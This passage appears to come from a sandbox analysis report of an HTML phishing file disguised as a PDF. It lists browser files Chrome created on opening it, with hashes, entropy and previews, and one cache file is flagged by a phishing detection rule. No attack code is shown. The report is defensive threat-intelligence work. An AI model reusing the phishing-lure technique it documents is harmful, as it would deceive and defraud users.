l_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_d
efault_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_rig
ht":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\9d5cf8a4-5bee-4af4-9c2e-002f42095c26.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1943

Entropy (8bit): 4.867157534594474

Encrypted: false
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SSDEEP: 48:Y2nzMK6qDHGXCtwWskQRLsE5sOyKs1MHAsoRHZ3gYhbw:JnzMKxDHGXCOpjF4GgRHZxhM

MD5: 78F6BDA570A9AE46F63B1B8737988BBE

SHA1: C85C05D0BEAD9F930A5B7F920FE8CC72522A3913

SHA-256: CF5405E4E5A5530E2F6BCE398E24D7B66C885693EF17424A0F30CF926D33F78F

SHA-512: 25009BCCEADDFF585F15F6B1AA3940A031E09426ABABA063CE55F711A06AEC1CF5726511C0319DB119AA22E77E260EB6292531A2F7EA4041373A27FEA41FDFC
4

Malicious: false

Reputation: unknown

Preview:
{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.google.com","supports_spdy":true},{"isolation":[],"server":"https://dns.google","suppor
ts_spdy":true},{"isolation":[],"server":"https://redirector.gvt1.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.googleapis.com","supports_spdy":true},{"isolatio
n":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google
.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"is
olation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"13289173517862649","port":443,"prot
ocol_str":"quic"}],"isolation":[],"server":"https://accounts.google.com","supports_spdy":true},{"alternative_service":[{

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\9d5cf8a4-5bee-4af4-9c2e-002f42095c26.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 334

Entropy (8bit): 5.209152353642394

Encrypted: false

SSDEEP: 6:Mihyyq2Pwkn23iKKdK9RXXTZIFUtqVTi7V1ZmwYVTiHUllRkwOwkn23iKKdK9RX3:MitvYf5Kk7XT2FUtui51/0iHUlz5Jf51

MD5: BE17B843F6315099C31D9D0D8E959095

SHA1: B380FB26202BDE24C8569DEB8808EF9315F965FF

SHA-256: C234509FD9FF9FA14BE4F06D49F029B47A19BEF7133D44A1F22EBE44F399834C

SHA-512: DDEC52E3DBF257B74ADFB305D666F16BC886A515CC0316BB0A0A2D2CE701DF80EAFD266ECC92EDB00BAEEA54364ABF184E70F9E9CB65E11895F1DBF028868
75F

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:24.382 1954 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/MANIFEST-000001.2022/
01/13-22:05:24.383 1954 Recovering log #3.2022/01/13-22:05:24.384 1954 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrik
eDatabase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG.old (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 334

Entropy (8bit): 5.209152353642394

Encrypted: false

SSDEEP: 6:Mihyyq2Pwkn23iKKdK9RXXTZIFUtqVTi7V1ZmwYVTiHUllRkwOwkn23iKKdK9RX3:MitvYf5Kk7XT2FUtui51/0iHUlz5Jf51

MD5: BE17B843F6315099C31D9D0D8E959095

SHA1: B380FB26202BDE24C8569DEB8808EF9315F965FF

SHA-256: C234509FD9FF9FA14BE4F06D49F029B47A19BEF7133D44A1F22EBE44F399834C

SHA-512: DDEC52E3DBF257B74ADFB305D666F16BC886A515CC0316BB0A0A2D2CE701DF80EAFD266ECC92EDB00BAEEA54364ABF184E70F9E9CB65E11895F1DBF028868
75F

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:24.382 1954 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/MANIFEST-000001.2022/
01/13-22:05:24.383 1954 Recovering log #3.2022/01/13-22:05:24.384 1954 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrik
eDatabase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 318

Entropy (8bit): 5.228377038408704

Encrypted: false

SSDEEP: 6:Mi+Dyq2Pwkn23iKKdKyDZIFUtqVTisFk1ZmwYVTisFyRkwOwkn23iKKdKyJLJ:MihvYf5Kk02FUtuisq1/0isM5Jf5KkWJ

MD5: C4C724621FC69A0297B9CF67AA98C852

SHA1: 2ADA80BD1FA47C732CC613B82638633C9D8E78C8

SHA-256: 8DD560E25C2DE412A7B44B1CA0C41EEB8DB6E65D426B84355EB6C387EEA825C4

SHA-512: 5EADB934BE25E6449D7FB7B762A678427DA10BA96403E9CAC75C7AA86EA4454F1562851F9E28E1FF7FDC2E7320757110FEC930626AD76BA5951B062919AEFD99

Malicious: false
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Reputation: unknown

Preview:
2022/01/13-22:05:24.360 1954 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/MANIFEST-000001.2022/01/13-22
:05:24.378 1954 Recovering log #3.2022/01/13-22:05:24.378 1954 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatab
ase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG.old.u (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 318

Entropy (8bit): 5.228377038408704

Encrypted: false

SSDEEP: 6:Mi+Dyq2Pwkn23iKKdKyDZIFUtqVTisFk1ZmwYVTisFyRkwOwkn23iKKdKyJLJ:MihvYf5Kk02FUtuisq1/0isM5Jf5KkWJ

MD5: C4C724621FC69A0297B9CF67AA98C852

SHA1: 2ADA80BD1FA47C732CC613B82638633C9D8E78C8

SHA-256: 8DD560E25C2DE412A7B44B1CA0C41EEB8DB6E65D426B84355EB6C387EEA825C4

SHA-512: 5EADB934BE25E6449D7FB7B762A678427DA10BA96403E9CAC75C7AA86EA4454F1562851F9E28E1FF7FDC2E7320757110FEC930626AD76BA5951B062919AEFD99

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:24.360 1954 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/MANIFEST-000001.2022/01/13-22
:05:24.378 1954 Recovering log #3.2022/01/13-22:05:24.378 1954 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatab
ase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CURRENT (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Xv:1qIF/

MD5: 206702161F94C5CD39FADD03F4014D98

SHA1: BD8BFC144FB5326D21BD1531523D9FB50E1B600A

SHA-256: 1005A525006F148C86EFCBFB36C6EAC091B311532448010F70F7DE9A68007167

SHA-512: 0AF09F26941B11991C750D1A2B525C39A8970900E98CBA96FD1B55DBF93FEE79E18B8AAB258F48B4F7BDA40D059629BC7770D84371235CDB1352A4F17F80E145

Malicious: false

Reputation: unknown

Preview:
MANIFEST-000002.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_0
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 45056

Entropy (8bit): 0.09049790573368903

Encrypted: false

SSDEEP: 12:d4YX+YuNiiDRIsHcoi1zRs1SlWqHsun4H5:d4YJuPDOs8t1zRs8WYs44H

MD5: B242898F2B4514A673F7E7B74C699261

SHA1: 290FA9EF89EBEA1D81CF8515AFDA13A9B712E7D3

SHA-256: 0B1FB41400D295411DF061F958576DD7946F07E904230AE17F673E1C2725A6B8

SHA-512: 7C365FA450DC17B7B199E81BF4D94CE126DB60F29D24F77E6815A08B1F9025AF5D4B04D3634308CCDC351CBCAAD3223C588A21FD6017B5CE07DAD51D1DE8CB
41

Malicious: false

Reputation: unknown

Preview:
............$.................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_1
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336
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Entropy (8bit): 0.08470036222870451

Encrypted: false

SSDEEP: 96:SiB8GiBqEiBoniB7HUiBAIiBaiBk5siB4e0W4G:SiB8GiBRiBoniB7HUiBxiBaiB7iBf4

MD5: 0CEFDFF5D4AD8CED64742EFA25542612

SHA1: AE4254755794AEFFE570F81AD0B2E16B293E4FC6

SHA-256: E315B39511894672D60F0153557D97316149D471BC563ACB18683F62524E7358

SHA-512: 6E845934FE9F74C95C2273319A58C5DC85EC36DF808CCD3AA7703CDE569314CD8B8A768CAA920D5D4178897BFE5EF20735B130AC3A590BE023FD2E49B2AA9F6
B

Malicious: false

Reputation: unknown

Preview:
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_1

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_2
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 1056768

Entropy (8bit): 0.49905658037726347

Encrypted: false

SSDEEP: 768:w5rOk8Mxm0JtqOk8Mxm0JtfWOk8Mxm0Jt+8Ok8Mxm0JtfOk8Mxm0JtlinUJtaOkb:wFuS7JCdXp17

MD5: E068B9ECC187D1CD3707808654646479

SHA1: 366ED8776455EFD0471E49206041104024CB78B0

SHA-256: 86E3F133282E81A97564A8AB506D39B109752994FF7192A4BD344443C0F16601

SHA-512: E770EA878164954678523E0A8A900F07D0779ECA968FA3CC6AEC1339DFFE677479A17FE93914286162D980ABFC9BF96618CF99E9A3D3A7A8F2DE34121411DE97

Malicious: false

Reputation: unknown

Preview:
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_3

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: dBase III DBT, next free block index 3238316739, block length 1024

Category: dropped

Size (bytes): 4202496

Entropy (8bit): 0.05820395022729978

Encrypted: false

SSDEEP: 384:3+sYsRRU2mU25+iCi2ie4U2H+4siWidQOqMw/HbEUioi:OhER5m5JrHe45zn

MD5: D2DA4287759377328EFF0B820602EADA

SHA1: 23E1010EE718AFD78CC512D9F7BCD19E4542EA68

SHA-256: 097A53E95523A6627511AB11904AB7FBA846DA6E85CE5CB2DC4F8A6C577228A0

SHA-512: CF30AFD31AB173D17275B9D1DAB1376DB08934B0D32DD10644CACD2CA9255AD2AEAD343F0A2A839CC560BAB1F4479A5207DE17EF7BF763F403DD7EB2D5930A
B2

Malicious: true

Yara Hits: Rule: JoeSecurity_HtmlPhish_10, Description: Yara detected HtmlPhish_10, Source: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_3, 
Author: Joe Security

Reputation: unknown

Preview:
................................................................................?.............................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 20480

Entropy (8bit): 0.5154898084991041

Encrypted: false

SSDEEP: 24:TLyqJLbXaFpEO5bNmISHn06UwcQPx5fB:TekLLOpEO5J/Kn7U1uB

MD5: 861034A57F72A428F833D9A8C57FDB6C
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SHA1: FE4DE8A11179326A9123EE17DE6A7D05B1068EBB

SHA-256: CD7D1643DE768BAC3214CDBCF0F5FB08C0FA9F4D81E3EF431CF98569E4165494

SHA-512: 036613279BCD2D8C54EA21C80BA93DCC4D3D23E835D2FD390690011F2679DADEDE3DECAA219D1749348DB859B6D211E325E5483740984BFBBA2A590E8BCA962
C

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  ..........................................................................C....... ..g... .8......................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Current Session
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 2351

Entropy (8bit): 3.200038152286265

Encrypted: false

SSDEEP: 48:34m07lXx8YdolAjhYdSiBeIjXAt3Sv3fzRRRL:34mAvoSiBeITAQB

MD5: 30FC13051A9AADE47639F93570729B17

SHA1: F81C6E16121D40A5E01D9ADCB6DBA42F8763B2D7

SHA-256: 41AA6B168E6F035BB4C2F470D956EF792E8992AF7D97A190A5B8939A29B735E0

SHA-512: 09A8529D8F0193A3BB59A3CC45C2711CA8E65613DF4819D19D3DE2B33F0F26C8E8E77C0FD42FF08F2CECC953C36B23E932F125352C07680465DF797E1A859978

Malicious: false

Reputation: unknown

Preview:
SNSS....................................................!.............................................1..,.......$...126d4418_fda7_4dbb_999e_390caaf8125a........................r....................................................
.......................................................7...file:///C:/Users/user/Desktop/Doc3038210381%20pdf.html.....................................................h.......`.......................................................
.q..}....q..}...........0...............................v...7...f.i.l.e.:./././.C.:./.U.s.e.r.s./.j.o.n.e.s./.D.e.s.k.t.o.p./.D.o.c.3.0.3.8.2.1.0.3.8.1.%.2.0.p.d.f...h.t.m.l...................................8.......0...
....8....................................................................... .......................................................7...file:///C:/Users/user/Desktop/Doc3038210381%20pdf.html........S.4/..................
...........................5..0.......&...{730C75E3-B87A-4292-818B-DC8F984D08AE}..................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Current Tabs
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 8

Entropy (8bit): 1.8112781244591325

Encrypted: false

SSDEEP: 3:3Dtn:3h

MD5: 0686D6159557E1162D04C44240103333

SHA1: 053E9DB58E20A67D1E158E407094359BF61D0639

SHA-256: 3303D5EED881951B0BB52CF1C6BFA758770034D0120C197F9F7A3520B92A86FB

SHA-512: 884C0D3594390E2FC0AEAB05460F0783815170C4B57DB749B8AD9CD10741A5604B7A0F979465C4171AD9C14ED56359A4508B4DE58E794550599AAA261120976C

Malicious: false

Reputation: unknown

Preview:
SNSS....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 335

Entropy (8bit): 3.5297306448944714

Encrypted: false

SSDEEP: 6:qTCTCTCTCTCTCTCTCTCT5z/t2qoEwhXeLKB:qWWWWWWWWWbopXeLKB

MD5: 4B02663C177BA8EA36FB2E49617CCC05

SHA1: 6E77145135116873842B1BEE6622B116CDA3CBB1

SHA-256: 0FD0B4ED1B18A8A1C73736E3C74168C6102092E5AFD431CD36F7F222E578A1C9

SHA-512: 6FAE4934BB9F78B40ECE19DC10FD522EB88497B97F47B76AC4DBC28146F73D23984322AFBF32DDBC3AC219277A7A6F899FAE59E5834DC2E28377A6306D9D6F0
3

Malicious: false

Reputation: unknown

Preview:
.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................i.Wd...............Sgdaefkejpgkiemlaofp
almlakkmbjdnl.declarative_rules.declarativeContent.onPageChanged.[]..F..................F................
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 320

Entropy (8bit): 5.151716228757228

Encrypted: false

SSDEEP: 6:Mi8dnIq2Pwkn23iKKdK8aPrqIFUtqVTi8WZmwYVTi8qkwOwkn23iKKdK8amLJ:Mi8ivYf5KkL3FUtui8W/0i8q5Jf5KkQJ

MD5: 66B8B81335E84BD8CBB074A7FB8B239D

SHA1: 75F9EEE4A0C285F6DC1440C04204DB6BA5369B0F

SHA-256: 60F29EB4C5FFD8F49F2CE62CCD060ED1EA2A79F57720DC044D298857D77F1A77

SHA-512: 6482324359474A3CA6FE0AB07EA54708F5B72BB39AB06D39332FE944DEE2EEF81A4E12FD416F665E555A81D28BC74A136B5DF32969CBCC3333200C84BCC3C33
A

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:16.189 1950 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules/MANIFEST-000001.2022/01/13-2
2:05:16.191 1950 Recovering log #3.2022/01/13-22:05:16.191 1950 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension 
Rules/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\LOG.old (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 320

Entropy (8bit): 5.151716228757228

Encrypted: false

SSDEEP: 6:Mi8dnIq2Pwkn23iKKdK8aPrqIFUtqVTi8WZmwYVTi8qkwOwkn23iKKdK8amLJ:Mi8ivYf5KkL3FUtui8W/0i8q5Jf5KkQJ

MD5: 66B8B81335E84BD8CBB074A7FB8B239D

SHA1: 75F9EEE4A0C285F6DC1440C04204DB6BA5369B0F

SHA-256: 60F29EB4C5FFD8F49F2CE62CCD060ED1EA2A79F57720DC044D298857D77F1A77

SHA-512: 6482324359474A3CA6FE0AB07EA54708F5B72BB39AB06D39332FE944DEE2EEF81A4E12FD416F665E555A81D28BC74A136B5DF32969CBCC3333200C84BCC3C33
A

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:16.189 1950 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules/MANIFEST-000001.2022/01/13-2
2:05:16.191 1950 Recovering log #3.2022/01/13-22:05:16.191 1950 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension 
Rules/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 1482

Entropy (8bit): 1.8784775129881184

Encrypted: false

SSDEEP: 12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW8:

MD5: 531557DF3F473422DD0102A22E51FE15

SHA1: E2048D9AD1D7E3AC2135A339A6FF91814A473501

SHA-256: FB89F5D2BDE68159700BDE0E306D9E5D5CFF0B0AF733603967D228BB9C286A93

SHA-512: 64EFCB0E9EA0D90E827555B9CA381A34F39AADD524B631CD5E3D4BA1EEF0A27CDEE8116138869A7FD5BE0F647CEEA08F95146273138921C46F1245DA0D0A9C
4A

Malicious: false

Reputation: unknown

Preview:
.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.
5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5..
..............f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5.....
...........f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 320

Entropy (8bit): 5.154964815225642

Encrypted: false

SSDEEP: 6:Miw1QIq2Pwkn23iKKdK8NIFUtqVTiwF3XZmwYVTiw7uVkwOwkn23iKKdK8+eLJ:MiwuIvYf5KkpFUtuiwBX/0iw7uV5Jf5c
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MD5: 4DC45E337F9B2C7BB0114DDA8BC9A954

SHA1: CDDEADC94A8994FC231E5EED3C9E2D474A90E04D

SHA-256: BAED45F4D3D4DF6619D3A71DBF9795CBF76C371D3D3A5A7869BBF493DE0DFD99

SHA-512: BB021A8E3C013A65816191E319A090050C7B3D107079A03662047E27D37BFA81A7EEE2DD29F72CCB4F9A07A542E18580ECA7A56AD0F059DCAA6D7EA32384A55
E

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:17.866 1a10 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/MANIFEST-000001.2022/01/13-2
2:05:17.867 1a10 Recovering log #3.2022/01/13-22:05:17.868 1a10 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension 
State/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.oldu (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 320

Entropy (8bit): 5.154964815225642

Encrypted: false

SSDEEP: 6:Miw1QIq2Pwkn23iKKdK8NIFUtqVTiwF3XZmwYVTiw7uVkwOwkn23iKKdK8+eLJ:MiwuIvYf5KkpFUtuiwBX/0iw7uV5Jf5c

MD5: 4DC45E337F9B2C7BB0114DDA8BC9A954

SHA1: CDDEADC94A8994FC231E5EED3C9E2D474A90E04D

SHA-256: BAED45F4D3D4DF6619D3A71DBF9795CBF76C371D3D3A5A7869BBF493DE0DFD99

SHA-512: BB021A8E3C013A65816191E319A090050C7B3D107079A03662047E27D37BFA81A7EEE2DD29F72CCB4F9A07A542E18580ECA7A56AD0F059DCAA6D7EA32384A55
E

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:17.866 1a10 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/MANIFEST-000001.2022/01/13-2
2:05:17.867 1a10 Recovering log #3.2022/01/13-22:05:17.868 1a10 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension 
State/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\comput
ed_hashes.json
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 11217

Entropy (8bit): 6.069602775336632

Encrypted: false

SSDEEP: 192:GbylJnlTwGB7V9Hne4qasKxXItmLG48gcLg/PkI:Gb+nldByaFx4toj8VEPT

MD5: 90F880064A42B29CCFF51FE5425BF1A3

SHA1: 6A3CAE3996E9FFF653A1DDF731CED32B2BE2ACBF

SHA-256: 965203D541E442C107DBC6D5B395168123D0397559774BEAE4E5B9ABC44EF268

SHA-512: D9CBFCD865356F19A57954F8FD952CAF3D31B354112766C41892D1EF40BD2533682D4EC3F4DA0E59A5397364F67A484B45091BA94E6C69ED18AB681403DFD3F3

Malicious: false

Reputation: unknown

Preview:
{"file_hashes":[{"block_hashes":["A+1PYW3V6CJbBuQ7aqrgYhyH3bT8PKyBXp3hN2slpI0=","WSOpQRkYTHjPSlG9Zif2a7TNhy43NDcG1Zg5Nv0UbH0=","jDctR8ImG5KZ
rQKm4kDjUB7FokSJfjo/pmvFowRVlaY=","LPxhhJiuU0lprt0T6flpS7TkaDg7MocrbmzO65xH6RI=","nZ9zLb2By96AkKXALRM+C0Eu11XUjPiMXEKjiCPdtHE=","wifibc1QfMB
N2jrtUtLgsCefvuceTpAatmLvul11RJA=","dHjWlSIIdjj7MWqg3T8MG58RuuqRXk32vqi/13JqEgA=","zd3DV7dbvfNvx1hdhU01fW5ily52DLN0CFL/ADaEeTI=","DpjXcO85FF
FY9KJFPkGNfFUtdQIOsGwO5jUckiUwY14=","gqid6l1+mk/6yWgUECRofI9lMipXgXh2jEN2+CxmPE0=","prDB91X2Mmfg/M/txVMITWBmEGbOGjqBTP7CMjYqdHs=",
"yLPAqV4gqoyS/zFkEt3Cn2j0q2v9QOSthVFfWn8EzCM=","EPQ3jzdrLkAHyvf3920B5Y3aAkO1IJdn/UtbnAmq6T0=","+oOc6ca+ChKUpTu+oa2ZRxRE+wG3QJmuYWE
vYCs40NI=","3mBGNAiRlTANEQkqzU3TEi+5wJ0ubR5uwtS4/9OOM7w=","1A9NNawxuhu95H5eThvf1rewJ4QQWhhPNxJXO1C/n68=","E3vWLQxzmj+e5QxYbUscllJ5
n0ITpw5JBHV1Kph3/KM=","i3I8ghdTF9c1ZXNBZmvsID+DV4gxBVN27rj9wsMtRpg=","R8B8qYabnMSlLPhrtu0hGYrHn3llsMHqBbi70gkIjEE=","rhlzuEvv2KRAF
Mms896xFwkNgPrw6WvmgPn6xrBSa2Y=","LAMXv6sRb0VZrY34aVXF3Fftxs

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_1\_metadata\c
omputed_hashes.json
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 23474

Entropy (8bit): 6.059847580419268

Encrypted: false

SSDEEP: 384:7dNc1NC6IcafusK4H1IIGRlhKlkIALQWdynQh2RX4K6M1tVztzr7XSNyzH:7dOscSRKc1nGRSkIhEw6M1tf7SNyb

MD5: 6AE2135EA4583C2F06CDEBEA4AE70FA4

SHA1: DCEB26C7F02D53B5F214305F4C75B4A33A79CDC2

SHA-256: 03AA1944CB3C4F39E20B6361571BC45DFBEBD3FFDA3D8F148CC6ECB29958F903
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SHA-512: B5945E67D9F73DD1982D687E5C6D9B5D6B3886C8050363A259755C76AC0F93651F3425FA7C21AA6A13977AC1C8C9322F998F131648CB8909096058D4F0D23312

Malicious: false

Reputation: unknown

Preview:
{"file_hashes":[{"block_hashes":["DOZdV3jFvk12AM2JNDYKo3KZrIVRprmJ+sVGWkqqE4Q=","rVElW3Hu3T52SzDDUqGT5YiJTBGUv2h3pNuBKFlhZ1U=","X/
3fg4KZxgQ1jBr5QGq0F5JnflgE27UErd88mrxTcxs=","VibLbpy0ig+5INMOU71fTYN76iaka2XVpmm1qAKYsX8=","EChCwCbQHbHQ7oDdGT2qNyiRJ0yck2YC2emNGq
4whtE="],"block_size":4096,"path":"_locales/iw/messages.json"},{"block_hashes":["xklkoZ7iSU1+7cd6DAtEmUC5lPFd+EgcbnzxkOiFwlk=","3KbsvoxKY/3AwqgF2aAdVQ
RpMhsNVRkQ3rx2A6Z2Z+Y=","o9+tsohquaCMj+70zeinRG/hBhA2uLoDl/WoC1uokME=","xV/K8xucyWJELVT8Cqn+ugFjobBVmg8pnmACF+2PP4Y=","p/mvJm2wuCl
32Rx3it654MljKAsMe3S9IDEabc1A8mE=","j8mPrTb5oOsBTj2Fer78JE6xG6+kR64Cvu2SW8d3j/k=","nqSRpGQ3USU2bZJsZ+AzBmFOyann8omwJrhEWFZDTXc=","
eTcQyJUuNuF9yCga/fXGyFCj/pysSceanhBzksdx23s=","Wj7faqnspelXKMvnduxHn1XUBG8TEOqyns7/oUihekM=","VtBwXoadI3EP336rAiL33Gz19KGqtN+RYdKn
MKAXoLw=","iDgLXQqXJp8nCZxgLuC9LXM45DGfufvGnXvmHsn18wc=","g+RfdDfrWTUK0Pkcsbot7NJ4SC9wVRV/dVVMuHAtEj8=","2oC4HcCuXu3VjFf6wnKlznt9u
qQNaebcuWpm/mWj69U=","aMUIpuFqPMiieSaWhIktCK62v2P3OZQAWupWsYzCnvk=","L

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_1\_metadata\c
omputed_hashes.json

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Favicons
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 26624

Entropy (8bit): 1.4195137914192082

Encrypted: false

SSDEEP: 96:tBCy4iBqiB/+iBSXl3ktvUDKzciB6iBqiB:7N4iBqiBmiBSXlUFQKzciB6iBqiB

MD5: D3A5C59CB2C914017D33F16417C6102D

SHA1: 86850C46BB00A89EF7A26BC87ECB35A98B4F84DA

SHA-256: 8BAC96F48CDB601C60A5D37C26EE66737D3B4C8F288EFFED33EB4816221C89FB

